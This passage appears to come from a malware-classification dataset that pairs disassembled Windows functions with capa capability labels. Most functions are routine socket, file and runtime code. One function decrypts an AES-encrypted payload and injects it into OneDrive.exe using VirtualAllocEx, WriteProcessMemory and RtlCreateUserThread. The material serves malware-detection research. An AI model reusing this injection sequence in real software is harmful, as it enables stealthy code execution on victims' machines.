joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10000adcc
Capabilities:
Set socket configuration

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x40
xor r14d, r14d
mov r13, r9
mov rbp, rcx
mov dword [rax - 0x38], r14d
mov word [rax + 0x10], r14w
cmp edx, 0xc0000120
je 0x10000afc8
cmp dword [rcx + 0x2c], r14d
jne 0x10000afc8
mov rdi, qword [r9 + 0x10]
or rsi, 0xffffffffffffffff
cmp edx, r14d
je 0x10000ae7f
cmp edx, 0x3e3
je 0x10000af9e
cmp edx, 0x2775
je 0x10000ae60
cmp edx, 0x2746
je 0x10000ae60
cmp edx, 0x274c
je 0x10000ae60
cmp edx, 0x2742
je 0x10000ae60
cmp edx, 0x2736
je 0x10000ae60
cmp edx, 0x274a
je 0x10000ae60
cmp edx, 0x2745
jne 0x10000af9e
or rsi, 0xffffffffffffffff
cmp rdi, rsi
je 0x10000ae72
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
mov rcx, rbp
call fcn.10000a8d0
jmp 0x10000afdf
lea rdx, [r9 + 0x78]
lea rax, [rsp + 0x34]
lea r8, [rsp + 0x30]
lea r9, [rsp + 0x78]
mov qword [rsp + 0x20], rax
call fcn.10000ab7c
cmp eax, r14d
jl 0x10000af8d
cmp dword [rsp + 0x30], r14d
je 0x10000af8d
lea r9, [rbp + 0x10]
mov edx, 0xffff
mov r8d, 0x700b
mov rcx, rdi
mov dword [rsp + 0x20], 8
call qword [sym.imp.WS2_32.dll_setsockopt]
mov ecx, 0xa0
call fcn.10000b844
mov r12, rax
cmp rax, r14
je 0x10000af36
mov qword [rax], rsi
mov dword [rax + 8], 1
mov qword [rax + 0x10], rsi
mov dword [rax + 0x18], 1
lea rcx, [rax + 0x68]
mov qword [rax + 0x90], r14
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov dword [r12 + 0x98], r14d
mov qword [r12], rsi
mov qword [r12 + 0x10], rsi
mov dword [r12 + 0x3c], r14d
mov word [r12 + 0x44], r14w
mov word [r12 + 0x20], r14w
mov qword [r12 + 0x30], r14
mov dword [r12 + 0x64], r14d
jmp 0x10000af39
mov r12, r14
cmp r12, r14
je 0x10000af8d
mov eax, dword [rsp + 0x34]
movzx r9d, word [rsp + 0x78]
mov r8d, dword [rsp + 0x30]
mov rdx, rdi
mov rcx, r12
mov dword [rsp + 0x20], eax
call fcn.100009704
cmp eax, r14d
jl 0x10000af9b
lea rcx, [0x100011d40]
xor r9d, r9d
xor r8d, r8d
mov rdx, r12
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r14
call fcn.10000a64c
cmp eax, r14d
je 0x10000af9b
inc dword [0x100011d70]
jmp 0x10000af9b
cmp rdi, rsi
je 0x10000af9b
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
mov rdi, rsi
mov rcx, qword [rbp + 0x10]
lea r9, [0x10000a874]
mov r8, r13
mov rdx, rdi
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], rbp
call fcn.10000b074
cmp eax, r14d
je 0x10000afe7
jmp 0x10000ae64
mov rcx, qword [rcx + 0x20]
cmp rcx, r14
je 0x10000afd7
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov rcx, rbp
call fcn.10000b008
mov rcx, r13
call fcn.10000958c
lea r11, [rsp + 0x40]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x40]
mov rsp, r11
pop r14
pop r13
pop r12
pop rdi
pop rsi
ret
Function at 0x10000b380
Capabilities:
Create tcp socket
Set socket configuration

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
push r13
push r14
sub rsp, 0xd0
mov rax, qword [0x100011150]
xor rax, rsp
mov qword [rsp + 0xc0], rax
mov esi, ecx
xor ecx, ecx
mov rbx, r8
call qword [sym.imp.WS2_32.dll_ntohs]
xor r13d, r13d
lea rcx, [rsp + 0x42]
lea r8d, [r13 + 0x7e]
xor edx, edx
mov word [rsp + 0x40], r13w
call sub.msvcrt.dll_memset
lea edx, [r13 + 1]
lea r14d, [r13 + 2]
mov dword [rsp + 0x28], edx
lea r8d, [r13 + 6]
mov ecx, r14d
xor r9d, r9d
mov dword [rsp + 0x20], r13d
call qword [sym.imp.WS2_32.dll_WSASocketW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x10000b405
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ebx, eax
jmp 0x10000b4aa
lea rdx, [0x10000b4e4]
xor r8d, r8d
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_BindIoCompletionCallback]
lea r9, [rsp + 0x30]
mov edx, 0xffff
mov r8d, 0x1001
mov rcx, rdi
mov dword [rsp + 0x30], r13d
mov dword [rsp + 0x20], 4
call qword [sym.imp.WS2_32.dll_setsockopt]
lea r9, [rsp + 0x30]
mov edx, 0xffff
mov r8d, 0x1002
mov rcx, rdi
mov dword [rsp + 0x30], r13d
mov dword [rsp + 0x20], 4
call qword [sym.imp.WS2_32.dll_setsockopt]
cmp esi, 0xffffffff
je 0x10000b4ae
xor eax, eax
lea rdx, [rsp + 0x40]
mov r8d, 0x80
mov rcx, rdi
mov word [rsp + 0x40], r14w
mov word [rsp + 0x42], r13w
mov dword [rsp + 0x44], esi
mov qword [rsp + 0x48], rax
call qword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
jne 0x10000b4ae
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.WS2_32.dll_closesocket]
mov eax, ebx
jmp 0x10000b4b3
mov qword [rbx], rdi
xor eax, eax
mov rcx, qword [rsp + 0xc0]
xor rcx, rsp
call fcn.10000be20
lea r11, [rsp + 0xd0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop r14
pop r13
pop rdi
ret

Function at 0x10000b4fc
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
sub rsp, 0xc0
mov rax, qword [0x100011150]
xor rax, rsp
mov qword [rsp + 0xb0], rax
xor ebp, ebp
mov rdi, r8
mov rbx, rcx
mov rsi, rdx
lea rcx, [rsp + 0x32]
lea r8d, [rbp + 0x7e]
xor edx, edx
mov word [rsp + 0x30], bp
call sub.msvcrt.dll_memset
lea r8, [rsp + 0x20]
lea rdx, [rsp + 0x30]
mov rcx, rbx
mov dword [rsp + 0x20], 0x80
call qword [sym.imp.WS2_32.dll_getsockname]
cmp eax, 0xffffffff
jne 0x10000b565
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
jmp 0x10000b591
cmp rsi, rbp
je 0x10000b582
cmp word [rsp + 0x30], 0x17
lea rax, [rsp + 0x38]
lea rcx, [rsp + 0x34]
cmovne rax, rcx
mov eax, dword [rax]
mov dword [rsi], eax
cmp rdi, rbp
je 0x10000b58f
movzx eax, word [rsp + 0x32]
mov word [rdi], ax
xor eax, eax
mov rcx, qword [rsp + 0xb0]
xor rcx, rsp
call fcn.10000be20
mov rbx, qword [rsp + 0xf8]
add rsp, 0xc0
pop rdi
pop rsi
pop rbp
ret
Function at 0x10000b668
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
cmp byte [0x100011cc5], 0
mov esi, r8d
mov rbp, rcx
je 0x10000b695
mov eax, 0x3eb
jmp 0x10000b76c
cmp r8d, 0x240
ja 0x10000b6c2
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
xor edx, edx
mov r8d, 0x2b8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
test rax, rax
je 0x10000b6ee
and dword [rax], 0
jmp 0x10000b6ee
lea eax, [r8 + 0x78]
movsxd rbx, eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
test rax, rax
je 0x10000b6ee
mov dword [rax], 1
mov dword [rax + 0x68], esi
test rdi, rdi
jne 0x10000b6f8
lea eax, [rdi + 8]
jmp 0x10000b76c
xor edx, edx
lea rbx, [rdi + 0x30]
lea r8d, [rdx + 0x20]
mov rcx, rbx
call sub.msvcrt.dll_memset
and dword [rdi + 0x50], 0
lea rax, [0x10000a594]
mov qword [rdi + 0x18], rax
mov rax, qword [rsp + 0x68]
lea rdx, [rdi + 0x78]
mov qword [rdi + 0x20], rax
mov rax, qword [rsp + 0x70]
lea r9, [0x100011cc0]
mov r8d, esi
mov rcx, rbp
mov qword [rdi + 0x10], rbp
mov qword [rdi + 0x28], rax
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x10000b768
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
cmp eax, 0x3e5
je 0x10000b768
mov rcx, rdi
call fcn.10000958c
jmp 0x10000b76a
xor ebx, ebx
mov eax, ebx
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret

Function at 0x10000b788
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
cmp byte [0x100011cc5], 0
mov ebp, r8d
mov rdi, rdx
mov rsi, rcx
je 0x10000b7b5
mov eax, 0x3eb
jmp 0x10000b817
lea rbx, [rdx + 0x30]
xor edx, edx
lea r8d, [rdx + 0x20]
mov rcx, rbx
call sub.msvcrt.dll_memset
lea rax, [0x10000a5f0]
lea rdx, [rdi + 0x78]
mov qword [rdi + 0x18], rax
mov rax, qword [rsp + 0x68]
lea r9, [0x100011cc0]
mov qword [rdi + 0x20], rax
mov rax, qword [rsp + 0x70]
mov r8d, ebp
mov rcx, rsi
mov qword [rdi + 0x10], rsi
mov qword [rsp + 0x20], rbx
mov qword [rdi + 0x28], rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x10000b815
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3e5
jne 0x10000b817
xor eax, eax
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
Function at 0x10000bae0
Capabilities:
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], r12
push r13
sub rsp, 0xb0
xor ebx, ebx
mov dword [rsp + 0x20], ebx
lea rcx, [rax - 0x78]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoW]
nop
mov rax, qword gs:[0x30]
mov rdi, qword [rax + 8]
mov r12d, ebx
xor eax, eax
lock cmpxchg qword [0x100011df8], rdi
je 0x10000bb40
cmp rax, rdi
jne 0x10000bb33
mov r12d, 1
jmp 0x10000bb40
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10000bb19
mov eax, dword [0x100011df0]
cmp eax, 1
jne 0x10000bb55
lea ecx, [rax + 0x1e]
call sub.msvcrt.dll__amsg_exit
jmp 0x10000bbbc
mov eax, dword [0x100011df0]
cmp eax, ebx
jne 0x10000bbb2
mov dword [0x100011df0], 1
lea r13, [0x100001448]
lea rdi, [0x100001430]
mov qword [rsp + 0x30], rdi
mov eax, ebx
mov dword [rsp + 0x24], ebx
cmp rdi, r13
jae 0x10000bba4
cmp eax, ebx
jne 0x10000bba4
mov rcx, qword [rdi]
cmp rcx, rbx
je 0x10000bb99
call rcx
mov dword [rsp + 0x24], eax
add rdi, 8
mov qword [rsp + 0x30], rdi
jmp 0x10000bb82
cmp eax, ebx
je 0x10000bbbc
mov eax, 0xff
jmp 0x10000bd04
mov dword [0x1000115d4], 1
mov eax, dword [0x100011df0]
cmp eax, 1
jne 0x10000bbe4
lea rdx, [0x100001428]
lea rcx, [0x1000013f0]
call sub.msvcrt.dll__initterm
mov dword [0x100011df0], 2
cmp r12d, ebx
jne 0x10000bbf3
mov rax, rbx
xchg qword [0x100011df8], rax
cmp qword [0x100011e10], rbx
je 0x10000bc1b
lea rcx, [0x100011e10]
call fcn.10000c0cc
cmp eax, ebx
je 0x10000bc1b
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
call qword [0x100011e10]
mov rcx, qword [sym.imp.msvcrt.dll__wcmdln]
cmp qword [rcx], rbx
jne 0x10000bc31
mov eax, 0xff
jmp 0x10000bd04
mov rcx, qword [rcx]
mov qword [rsp + 0x28], rcx
mov edx, dword [rsp + 0x20]
cmp word [rcx], 0x20
ja 0x10000bcb6
cmp word [rcx], bx
je 0x10000bc4c
cmp edx, ebx
jne 0x10000bcb6
cmp word [rcx], bx
je 0x10000bc62
cmp word [rcx], 0x20
ja 0x10000bc62
add rcx, 2
mov qword [rsp + 0x28], rcx
jmp 0x10000bc4c
test byte [rsp + 0x7c], 1
movzx eax, word [rsp + 0x80]
mov r9d, 0xa
cmovne r9d, eax
mov r8, rcx
xor edx, edx
lea rcx, [0x100000000]
call fcn.100002d14
mov dword [0x1000115d0], eax
cmp dword [0x1000115b4], ebx
jne 0x10000bca0
mov ecx, eax
call qword [sym.imp.msvcrt.dll_exit]
cmp dword [0x1000115d4], ebx
jne 0x10000bcb4
call qword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x1000115d0]
jmp 0x10000bd04
cmp word [rcx], 0x22
jne 0x10000bcc9
mov eax, ebx
cmp edx, ebx
sete al
mov edx, eax
mov dword [rsp + 0x20], eax
add rcx, 2
mov qword [rsp + 0x28], rcx
jmp 0x10000bc3d
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov r12, qword [r11 + 0x20]
mov rsp, r11
pop r13
ret
sub rsp, 0x28
call fcn.100139000
add rsp, 0x28
jmp 0x10000bae0
Function at 0x10000be20
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x100011150]
jne 0x10000be3b
rol rcx, 0x10
test cx, 0xffff
jne 0x10000be37
ret 0
ror rcx, 0x10
jmp 0x10000c29c
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x100011690]
call qword [sym.imp.ntdll.dll_RtlCaptureContext]
mov r11, qword [0x100011788]
mov qword [rsp + 0x58], r11
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.ntdll.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x10000c321
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x100011690]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.ntdll.dll_RtlVirtualUnwind
jmp 0x10000c343
mov rax, qword [rsp + 0x88]
mov qword [0x100011788], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x100011728], rax
mov rax, qword [0x100011788]
mov qword [0x100011600], rax
mov rax, qword [rsp + 0x90]
mov qword [0x100011710], rax
mov dword [0x1000115f0], 0xc0000409
mov dword [0x1000115f4], 1
mov rax, qword [0x100011150]
mov qword [rsp + 0x68], rax
mov rax, qword [0x100011158]
mov qword [rsp + 0x70], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x100001560]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret

Function at 0x10000c138
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x18
xor edx, edx
cmp rcx, rdx
je 0x10000c185
cmp rcx, 0xffffffffffffffff
je 0x10000c185
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x10000c17d
cmp dword [rcx + 0x3c], edx
jl 0x10000c17d
cmp dword [rcx + 0x3c], 0x10000000
jae 0x10000c17d
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
mov qword [rsp], rax
cmp dword [rax], 0x4550
cmovne rax, rdx
mov rdx, rax
mov qword [rsp], rax
jmp 0x10000c185
mov rax, rdx
add rsp, 0x18
ret
Function at 0x180001590
Capabilities:
Create thread

Disassembly:
push rbx
sub rsp, 0x30
mov rbx, rcx
cmp edx, 1
jne 0x1800015d1
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
xor eax, eax
lea r8, [0x1800013a0]
mov qword [rsp + 0x28], rax
mov r9, rbx
xor edx, edx
mov dword [rsp + 0x20], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
je 0x1800015d1
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
add rsp, 0x30
pop rbx
ret
Function at 0x140001000
Capabilities:
Create new key via cryptacquirecontext
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov dword [rsp + 0x10], edx
push rdi
sub rsp, 0x50
mov rbx, r9
mov dword [rsp + 0x20], 0xf0000000
mov rdi, r8
mov rsi, rcx
mov r9d, 0x18
lea rcx, [rsp + 0x30]
xor r8d, r8d
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x140001107
mov rcx, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov edx, 0x800c
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x140001107
mov rcx, qword [rsp + 0x38]
xor r9d, r9d
mov r8d, ebx
mov rdx, rdi
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x140001107
mov r8, qword [rsp + 0x38]
lea rax, [rsp + 0x40]
mov rcx, qword [rsp + 0x30]
xor r9d, r9d
mov edx, 0x6610
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
je 0x140001107
mov rcx, qword [rsp + 0x40]
lea rax, [rsp + 0x68]
mov qword [rsp + 0x28], rax
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rsi
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
je 0x140001107
mov rcx, qword [rsp + 0x30]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
xor eax, eax
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x70]
add rsp, 0x50
pop rdi
ret
mov rbx, qword [rsp + 0x60]
mov eax, 0xffffffff
mov rsi, qword [rsp + 0x70]
add rsp, 0x50
pop rdi
ret
Function at 0x1400013e0
Capabilities:
Enumerate processes

Disassembly:
push rbx
push rdi
push r14
sub rsp, 0x190
xor edx, edx
xor r14d, r14d
mov edi, r14d
lea ecx, [rdx + 2]
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400015ca
lea rdx, [rsp + 0x60]
mov dword [rsp + 0x60], 0x130
mov rcx, rax
call sub.KERNEL32.dll_Process32First
mov rcx, rbx
test eax, eax
je 0x14000146d
lea rdx, [rsp + 0x60]
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x140001485
nop dword [rax]
nop word [rax + rax]
lea rdx, [rsp + 0x8c]
lea rcx, str.OneDrive.exe
call qword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x140001481
lea rdx, [rsp + 0x60]
mov rcx, rbx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x140001440
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
add rsp, 0x190
pop r14
pop rdi
pop rbx
ret
mov edi, dword [rsp + 0x68]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
je 0x1400015ca
mov edx, edi
mov qword [rsp + 0x1b8], rbp
lea rcx, str.OneDrive.exe_PID___d_n
call fcn.1400015f0
mov r8d, edi
xor edx, edx
mov ecx, 0x43a
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbp, rax
test rax, rax
je 0x1400015c2
mov ebx, dword [0x140055220]
lea rcx, str.NTDLL.DLL
mov qword [rsp + 0x1c0], rsi
mov qword [rsp + 0x1b0], r14
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.RtlCreateUserThread
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r9d, 0x10
lea r8, [0x140055210]
mov edx, ebx
lea rcx, section..data
mov rsi, rax
call fcn.140001000
mov r9d, 0x1000
mov dword [rsp + 0x20], 0x20
mov r8d, ebx
xor edx, edx
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r9d, ebx
mov qword [rsp + 0x20], r14
mov rdx, rax
lea r8, section..data
mov rcx, rbp
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea rax, [rsp + 0x50]
xor r9d, r9d
mov qword [rsp + 0x48], rax
xor r8d, r8d
lea rax, [rsp + 0x1b0]
xor edx, edx
mov qword [rsp + 0x40], rax
mov rcx, rbp
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r14
call rsi
mov rcx, qword [rsp + 0x1b0]
mov rsi, qword [rsp + 0x1c0]
test rcx, rcx
je 0x1400015b9
mov edx, 0x1f4
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x1b0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbp, qword [rsp + 0x1b8]
xor eax, eax
add rsp, 0x190
pop r14
pop rdi
pop rbx
ret

Function at 0x140005454
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140005280
Function at 0x411194
Capabilities:
Query or enumerate registry value
Read .ini file

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x40
cmp qword [rcx + 0xa8], 0
mov edi, r9d
mov rbx, r8
mov rax, rdx
je 0x411204
call fcn.00411114
test rax, rax
mov rsi, rax
jne 0x4111c0
mov eax, edi
jmp 0x41121a
lea rax, [rsp + 0x60]
lea r9, [rsp + 0x34]
xor r8d, r8d
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x30]
mov rdx, rbx
mov rcx, rsi
mov dword [rsp + 0x60], 4
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov rcx, rsi
mov ebx, eax
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test ebx, ebx
cmove edi, dword [rsp + 0x30]
jmp 0x4111bc
mov r9, qword [rcx + 0xd0]
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
add rsp, 0x40
pop rdi
pop rsi
pop rbx
ret

Function at 0x412f10
Capabilities:
Get graphical window text

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x30
mov qword [rsp + 0x20], 0xfffffffffffffffe
movsxd rsi, r8d
mov rdi, rdx
mov rbx, rcx
cmp qword [rcx + 0xa0], 0
jne 0x412f46
mov r8d, esi
mov rcx, qword [rcx + 0x40]
call qword [sym.imp.USER32.dll_GetWindowTextW]
jmp 0x412ffd
call fcn.00434ed8
mov r11, rax
xor ecx, ecx
test rax, rax
setne cl
test ecx, ecx
jne 0x412f65
mov ecx, 0x80004005
call fcn.0040db7c
int3
mov rax, qword [rax]
mov rcx, r11
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0x50], rax
mov rcx, qword [rbx + 0xa0]
mov rax, qword [rcx]
lea rdx, [rsp + 0x50]
call qword [rax + 0x118]
mov rdx, rsi
mov rsi, 0xffffffffffffffff
mov r9, rsi
mov r8, qword [rsp + 0x50]
mov rcx, rdi
call fcn.0045ce90
test eax, eax
je 0x412fd0
cmp eax, 0xc
je 0x412fca
cmp eax, 0x16
je 0x412fc4
cmp eax, 0x22
je 0x412fc4
cmp eax, 0x50
je 0x412fd0
call fcn.0042f430
int3
call fcn.0042f430
int3
call fcn.0042f3e8
int3
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov ebx, eax
mov rdx, qword [rsp + 0x50]
add rdx, 0xffffffffffffffe8
mov ecx, esi
lock xadd dword [rdx + 0x10], ecx
add ecx, esi
test ecx, ecx
jg 0x412ffb
mov rcx, qword [rdx]
mov r8, qword [rcx]
call qword [rreloc.OLEAUT32.dll_VariantClear + 8]
mov eax, ebx
add rsp, 0x30
pop rdi
pop rsi
pop rbx
ret

Function at 0x4141cc
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
sub rsp, 0x28
mov r12, r8
mov rbx, rdx
mov r13, rcx
xor edi, edi
call fcn.00432c5c
lea r8d, [rdi + 5]
mov rbp, qword [rax + 0x18]
mov rdx, rbx
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rcx, rbp
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_LoadResource]
cmp rax, rdi
mov rsi, rax
je 0x41421d
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rdi, rax
mov r9, rbp
mov r8, r12
mov rdx, rdi
mov rcx, r13
call fcn.00413b54
mov rcx, rsi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, ebx
add rsp, 0x28
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x414298
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push rbx
push rbp
push rsi
push rdi
sub rsp, 0x28
test rdx, 0xffffffffffff0000
mov rbp, r8
mov rdi, rdx
mov rsi, rcx
mov qword [rcx + 0xb0], rdx
jne 0x4142cc
cmp dword [rcx + 0xa8], 0
jne 0x4142cc
movzx eax, dx
mov dword [rcx + 0xa8], eax
call fcn.00432c5c
mov r8d, 5
mov rdx, rdi
mov rbx, qword [rax + 0x18]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rcx, rbx
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov r9, rbx
mov r8, rbp
mov rdx, rax
mov rcx, rsi
mov rdi, rax
call fcn.00414248
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, ebx
add rsp, 0x28
pop rdi
pop rsi
pop rbp
pop rbx
ret

Function at 0x4166f0
Capabilities:
Get graphical window text

Disassembly:
push rbx
push rbp
push rsi
push rdi
sub rsp, 0x28
mov rbp, rcx
mov rcx, qword [rcx + 0x40]
mov rbx, r8
call fcn.0042f7f8
test rax, rax
mov rsi, rax
je 0x416765
mov rcx, rax
call qword [sym.imp.USER32.dll_GetDlgCtrlID]
test rbx, rbx
movzx edi, ax
je 0x416760
cmp dword [rbx], 0x38
jb 0x416760
mov rax, qword [rbp + 0x40]
or dword [rbx + 4], 1
xor r9d, r9d
xor r8d, r8d
mov edx, 0x87
mov rcx, rsi
mov qword [rbx + 8], rax
mov qword [rbx + 0x10], rsi
mov qword [rbx + 0x30], 0xffffffffffffffff
call qword [sym.imp.USER32.dll_SendMessageW]
bt rax, 0xd
jb 0x416760
or dword [rbx + 4], 0x80000002
mov rax, rdi
jmp 0x41676c
mov rax, 0xffffffffffffffff
add rsp, 0x28
pop rdi
pop rsi
pop rbp
pop rbx
ret

Function at 0x41da3c
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
sub rsp, 0x20
xor edi, edi
xor ebx, ebx
test rdx, rdx
mov rsi, rdx
mov rbp, rcx
je 0x41da96
call fcn.00432c5c
mov r8d, 0xf0
mov rdx, rsi
mov r12, qword [rax + 0x18]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_FindResourceW]
test rax, rax
je 0x41da96
mov rdx, rax
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
mov rbx, rax
je 0x41dab8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rdi, rax
mov rdx, rdi
mov rcx, rbp
call fcn.0041d4bc
test rdi, rdi
mov esi, eax
je 0x41dab6
test rbx, rbx
je 0x41dab6
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
add rsp, 0x20
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret